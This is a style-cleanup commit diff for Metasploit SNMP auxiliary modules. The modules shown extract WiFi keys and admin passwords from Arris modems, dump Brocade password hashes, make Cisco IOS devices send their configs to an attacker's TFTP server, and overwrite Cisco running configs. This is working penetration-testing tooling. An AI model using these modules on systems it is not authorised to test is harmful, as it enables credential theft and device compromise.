modules/auxiliary/scanner/snmp: Resolve RuboCop violations

This commit is contained in:
bcoles
2025-05-28 01:19:53 +10:00
parent d2da920ee1
commit e89b103873
17 changed files with 2178 additions and 2076 deletions
+56 -51
View File
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,64 +11,68 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'AIX SNMP Scanner Auxiliary Module',
'Description' => 'AIX SNMP Scanner Auxiliary Module',
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
],
'License' => MSF_LICENSE
'Name' => 'AIX SNMP Scanner',
'Description' => 'AIX SNMP scanner auxiliary module.',
'Author' => [
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
value = snmp.get_value('sysDescr.0')
value = snmp.get_value('sysDescr.0')
if value =~ /AIX/
value = value.split("\n")
description = value[0].strip
value = value[2].split(':')
value = value[1].strip
value = value.split('.')
value[0] = value[0].to_i
value[1] = value[1].to_i
value[2] = value[2].to_i
value[3] = value[3].to_i
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'],
:type => 'AIX',
:data => { :version => version }
)
status = "#{ip} (#{description}) is running: "
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
status << "(#{version})"
print_status(status)
end
# No need to make noise about timeouts
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
rescue Exception => e
print_error("#{ip} #{e.class}, #{e.message}")
ensure
disconnect_snmp
unless value =~ /AIX/
print_error("#{ip} system is not AIX: #{value}")
return
end
value = value.split("\n")
description = value[0].strip
value = value[2].split(':')
value = value[1].strip
value = value.split('.')
value[0] = value[0].to_i
value[1] = value[1].to_i
value[2] = value[2].to_i
value[3] = value[3].to_i
version = "#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}"
report_note(
host: ip,
proto: 'udp',
sname: 'snmp',
port: datastore['RPORT'],
type: 'AIX',
data: { version: version }
)
status = "#{ip} (#{description}) is running: "
status << "IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} "
status << "(#{version})"
print_status(status)
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
# No need to make noise about timeouts
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} #{e.class}, #{e.message}")
ensure
disconnect_snmp
end
end
+39 -35
View File
@@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
'Name' => 'Arris DG950A Cable Modem Wifi Enumeration',
'Description' => %q{
This module will extract WEP keys and WPA preshared keys from
Arris DG950A cable modems.
},
'References' =>
[
['CVE','2014-4863'],
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
],
'Author' => ['Deral "Percent_X" Heiland'],
'License' => MSF_LICENSE
'References' => [
['CVE', '2014-4863'],
['URL', 'https://www.rapid7.com/blog/post/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863/']
],
'Author' => ['Deral "Percent_X" Heiland'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /DG950A/
print_line("#{ip}")
# System Admin Password
wifi_info = ''
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
print_line("Password: #{password}")
wifi_info << "Password: #{password}" << "\n"
else
fail_with(Failure::NoTarget, "Does not appear to be an Arris DG950A")
unless snmp.get_value('sysDescr.0') =~ /DG950A/
fail_with(Failure::NoTarget, 'Does not appear to be an Arris DG950A')
end
print_line(ip.to_s)
# System Admin Password
wifi_info = ''
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
print_line("Password: #{password}")
wifi_info << "Password: #{password}" << "\n"
# check WPA Encryption Algorithm
encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12')
case encrypt_type
when 1
wpa_encrypt = "TKIP"
wpa_encrypt = 'TKIP'
when 2
wpa_encrypt = "AES"
wpa_encrypt = 'AES'
when 3
wpa_encrypt = "TKIP/AES"
wpa_encrypt = 'TKIP/AES'
else
wpa_encrypt = "Unknown"
wpa_encrypt = 'Unknown'
end
# Wifi Status
@@ -71,26 +75,26 @@ class MetasploitModule < Msf::Auxiliary
wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12')
case wep_type
when 1
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12"
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12'
when 2
oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12"
oid = '1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12'
else
print_line('FAILED')
end
wepkey1 = snmp.get_value("#{oid}.1")
key1 = "#{wepkey1}"
key1 = wepkey1.to_s
print_line("WEP KEY1: #{key1}")
wifi_info << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value("#{oid}.2")
key2 = "#{wepkey2}"
key2 = wepkey2.to_s
print_line("WEP KEY2: #{key2}")
wifi_info << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value("#{oid}.3")
key3 = "#{wepkey3}"
key3 = wepkey3.to_s
print_line("WEP KEY3: #{key3}")
wifi_info << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value("#{oid}.4")
key4 = "#{wepkey4}"
key4 = wepkey4.to_s
print_line("WEP KEY4: #{key4}")
wifi_info << "WEP KEY4: #{key4}" << "\n"
@@ -122,21 +126,21 @@ class MetasploitModule < Msf::Auxiliary
print_line('FAILED')
end
else
print_line('WIFI is not enabled')
print_line('WiFi is not enabled')
end
# Woot we got loot.
loot_name = 'arris_wifi'
loot_type = 'text/plain'
loot_name = 'arris_wifi'
loot_type = 'text/plain'
loot_filename = 'arris_wifi.text'
loot_desc = 'Arris DG950A Wifi configuration data'
loot_desc = 'Arris DG950A WiFi configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
print_good("WiFi Data saved in: #{p}")
# No need to make noise
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::SNMP::RequestTimeout
raise $ERROR_INFO
rescue ::Exception => e
rescue StandardError => e
print_error("#{ip} error: #{e.class} #{e.message}")
disconnect_snmp
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,62 +11,74 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Brocade Password Hash Enumeration',
'Name' => 'Brocade Password Hash Enumeration',
'Description' => %q{
This module extracts password hashes from certain Brocade load
balancer devices.
},
'References' =>
[
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE
'References' => [
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /Brocade/
value = snmp.get_value('sysDescr.0')
@users = []
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row|
row.each { |val| @users << val.value.to_s }
end
unless value =~ /Brocade/
print_error("#{ip} - System is not Brocade: #{value}")
return
end
@hashes = []
snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row|
row.each { |val| @hashes << val.value.to_s }
end
@users = []
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.1') do |row|
row.each { |val| @users << val.value.to_s }
end
print_good("#{ip} - Found user and password hashes:")
end
@hashes = []
snmp.walk('1.3.6.1.4.1.1991.1.1.2.9.2.1.2') do |row|
row.each { |val| @hashes << val.value.to_s }
end
credinfo = ""
@users.each_index do |i|
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
print_good("#{@users[i]}:#{@hashes[i]}")
end
print_good("#{ip} - Found user and password hashes:")
credinfo = ''
@users.each_index do |i|
credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n"
print_good("#{@users[i]}:#{@hashes[i]}")
end
#Woot we got loot.
loot_name = "brocade.hashes"
loot_type = "text/plain"
loot_filename = "brocade_hashes.txt"
loot_desc = "Brodace username and password hashes"
p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc)
print_status("Credentials saved: #{p}")
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
# Woot we got loot.
loot_name = 'brocade.hashes'
loot_type = 'text/plain'
loot_filename = 'brocade_hashes.txt'
loot_desc = 'Brocade username and password hashes'
p = store_loot(
loot_name,
loot_type,
datastore['RHOST'],
credinfo,
loot_filename,
loot_desc
)
print_status("Credentials saved: #{p}")
rescue ::SNMP::UnsupportedVersion => e
vprint_error("#{ip} - #{e.message}")
rescue ::SNMP::RequestTimeout => e
vprint_error("#{ip} - #{e.message}")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Cisco
@@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)',
'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)',
'Description' => %q{
This module will download the startup or running configuration
from a Cisco IOS device using SNMP and TFTP. A read-write SNMP
@@ -19,34 +20,38 @@ class MetasploitModule < Msf::Auxiliary
be able to connect back to the Metasploit system and the use of
NAT will cause the TFTP transfer to fail.
},
'Author' =>
[
'pello <fropert[at]packetfault.org>', 'hdm'
],
'License' => MSF_LICENSE
'Author' => [
'pello <fropert[at]packetfault.org>',
'hdm'
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options([
OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]),
OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]),
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ])
OptEnum.new('SOURCE', [true, 'Grab the startup (3) or running (4) configuration', '4', ['3', '4']]),
OptString.new('OUTPUTDIR', [ false, 'The directory where we should save the configuration files (disabled by default)']),
OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ])
])
end
#
# Start the TFTP Server
#
def setup
# Setup is called only once
print_status("Starting TFTP server...")
print_status('Starting TFTP server...')
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
@tftp.incoming_file_hook = proc { |info| process_incoming(info) }
@tftp.start
add_socket(@tftp.sock)
@main_thread = ::Thread.current
print_status("Scanning for vulnerable targets...")
print_status('Scanning for vulnerable targets...')
end
#
@@ -56,12 +61,16 @@ class MetasploitModule < Msf::Auxiliary
# Cleanup is called once for every single thread
if ::Thread.current == @main_thread
# Wait 5 seconds for background transfers to complete
print_status("Providing some time for transfers to complete...")
print_status('Providing some time for transfers to complete...')
::IO.select(nil, nil, nil, 5.0)
print_status("Shutting down the TFTP service...")
print_status('Shutting down the TFTP service...')
if @tftp
@tftp.close rescue nil
begin
@tftp.close
rescue StandardError
nil
end
@tftp = nil
end
end
@@ -71,11 +80,12 @@ class MetasploitModule < Msf::Auxiliary
# Callback for incoming files
#
def process_incoming(info)
return if not info[:file]
return if !info[:file]
name = info[:file][:name]
data = info[:file][:data]
from = info[:from]
return if not (name and data)
return if !(name && data)
# Trim off IPv6 mapped IPv4 if necessary
from = from[0].dup
@@ -88,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
name = "#{from}.txt"
::FileUtils.mkdir_p(datastore['OUTPUTDIR'])
path = ::File.join(datastore['OUTPUTDIR'], name)
::File.open(path, "wb") do |fd|
::File.open(path, 'wb') do |fd|
fd.write(data)
end
print_status("Saved configuration file to #{path}")
@@ -99,57 +109,54 @@ class MetasploitModule < Msf::Auxiliary
end
def run_host(ip)
source = datastore['SOURCE'].to_i
protocol = 1
filename = "#{ip}.txt"
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
begin
source = datastore['SOURCE'].to_i
protocol = 1
filename = "#{ip}.txt"
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
ccconfigcopyprotocol = '1.3.6.1.4.1.9.9.96.1.1.1.1.2.'
cccopysourcefiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.3.'
cccopydestfiletype = '1.3.6.1.4.1.9.9.96.1.1.1.1.4.'
cccopyserveraddress = '1.3.6.1.4.1.9.9.96.1.1.1.1.5.'
cccopyfilename = '1.3.6.1.4.1.9.9.96.1.1.1.1.6.'
cccopyentryrowstatus = '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
ccconfigcopyprotocol = "1.3.6.1.4.1.9.9.96.1.1.1.1.2."
cccopysourcefiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.3."
cccopydestfiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.4."
cccopyserveraddress = "1.3.6.1.4.1.9.9.96.1.1.1.1.5."
cccopyfilename = "1.3.6.1.4.1.9.9.96.1.1.1.1.6."
cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14."
session = rand(1..255)
session = rand(255) + 1
snmp = connect_snmp
snmp = connect_snmp
varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}", SNMP::Integer.new(protocol))
snmp.set(varbind)
# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Trying to acquire configuration from #{ip}...")
varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}" , SNMP::Integer.new(protocol))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}", SNMP::Integer.new(source))
snmp.set(varbind)
# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Trying to acquire configuration from #{ip}...")
varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}" , SNMP::Integer.new(source))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6))
snmp.set(varbind)
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
# No need to make noise about timeouts
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue ::StandardError => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Cisco
@@ -10,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
'Description' => %q{
This module will copy file to a Cisco IOS device using SNMP and TFTP.
The action Override_Config will override the running config of the Cisco device.
@@ -19,42 +20,45 @@ class MetasploitModule < Msf::Auxiliary
be able to connect back to the Metasploit system and the use of
NAT will cause the TFTP transfer to fail.
},
'Author' =>
'Author' => [
'pello <fropert[at]packetfault.org>',
'ct5595'
],
'License' => MSF_LICENSE,
'Actions' => [
[
'pello <fropert[at]packetfault.org>',
'ct5595'
'Upload_File',
{
'Description' => 'Upload the file',
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.'
}
],
'License' => MSF_LICENSE,
'Actions' =>
[
[
'Upload_File',
{
'Description' => 'Upload the file',
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.',
}
],
[
'Override_Config',
{
'Description' => 'Override the running config',
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
}
]
],
'DefaultAction' => 'Upload_File'
'Override_Config',
{
'Description' => 'Override the running config',
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
}
]
],
'DefaultAction' => 'Upload_File',
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => []
}
)
register_options([
OptPath.new('SOURCE', [true, "The filename to upload" ]),
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ])
OptPath.new('SOURCE', [true, 'The filename to upload' ]),
OptAddressLocal.new('LHOST', [ false, 'The IP address of the system running this module' ])
])
end
@@ -62,16 +66,15 @@ class MetasploitModule < Msf::Auxiliary
# Start the TFTP Server
#
def setup
@path = datastore['SOURCE']
@filename = @path.split(/[\/\\]/)[-1] #/
@path = datastore['SOURCE']
@filename = @path.split(%r{[/\\]})[-1] # /
# Setup is called only once
print_status("Starting TFTP server...")
print_status('Starting TFTP server...')
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
# Register our file name and data
::File.open(@path, "rb") do |fd|
::File.open(@path, 'rb') do |fd|
buff = fd.read(fd.stat.size)
@tftp.register_file(@filename, buff)
end
@@ -80,7 +83,6 @@ class MetasploitModule < Msf::Auxiliary
add_socket(@tftp.sock)
@main_thread = ::Thread.current
end
#
@@ -90,90 +92,90 @@ class MetasploitModule < Msf::Auxiliary
# Cleanup is called once for every single thread
if ::Thread.current == @main_thread
# Wait 5 seconds for background transfers to complete
print_status("Providing some time for transfers to complete...")
print_status('Providing some time for transfers to complete...')
::IO.select(nil, nil, nil, 5.0)
print_status("Shutting down the TFTP service...")
print_status('Shutting down the TFTP service...')
if @tftp
@tftp.close rescue nil
begin
@tftp.close
rescue StandardError
nil
end
@tftp = nil
end
end
end
def run_host(ip)
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
begin
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
session = rand(1..255)
session = rand(255) + 1
snmp = connect_snmp
snmp = connect_snmp
# OID variables to for checking if the host is alive and if the community is valid
cisco_flash_copy_entry_status = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
cisco_flash_copy_command = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'
# OID variables to for checking if the host is alive and if the community is valid
ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(6))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(5))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(5))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cisco_flash_copy_command}#{session}", SNMP::Integer.new(2))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
value = snmp.set(varbind)
# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Copying file #{@filename} to #{ip}...")
if (action.name == 'Upload_File')
# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Copying file #{@filename} to #{ip}...")
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
if(action.name == 'Upload_File')
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{cisco_flash_copy_entry_status}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
elsif (action.name == 'Override_Config')
varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
elsif(action.name == 'Override_Config')
varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}", SNMP::Integer.new(4))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
end
# No need to make noise about timeouts
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}", SNMP::Integer.new(1))
snmp.set(varbind)
end
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout
# No need to make noise about timeouts
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -19,125 +20,126 @@ class MetasploitModule < Msf::Auxiliary
credentials via SNMP Read-Only (RO) community string.
},
'Author' => ['Karn Ganeshen'],
'References' =>
[
['CVE', '2017-5262'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE
'References' => [
['CVE', '2017-5262'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
OptInt.new('TIMEOUT', [true, 'SNMP connection timeout', 10])
], self.class
]
)
end
def run_host(ip)
begin
snmp = connect_snmp
print_good("#{ip}, Connected.\n")
snmp = connect_snmp
print_good("#{ip}, Connected.\n")
cnpilot_info = ''
cnpilot_info = ''
# System Info
snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0')
snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0')
cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0')
cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0')
cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0')
# System Info
snmp_system_name = snmp.get_value('1.3.6.1.4.1.41010.1.1.1.0')
snmp_system_description = snmp.get_value('1.3.6.1.2.1.1.1.0')
cnpilot_system_uptime = snmp.get_value('1.3.6.1.2.1.1.3.0')
cnpilot_hardware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.4.0')
cnpilot_firmware_version = snmp.get_value('1.3.6.1.4.1.41010.1.1.5.0')
cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n"
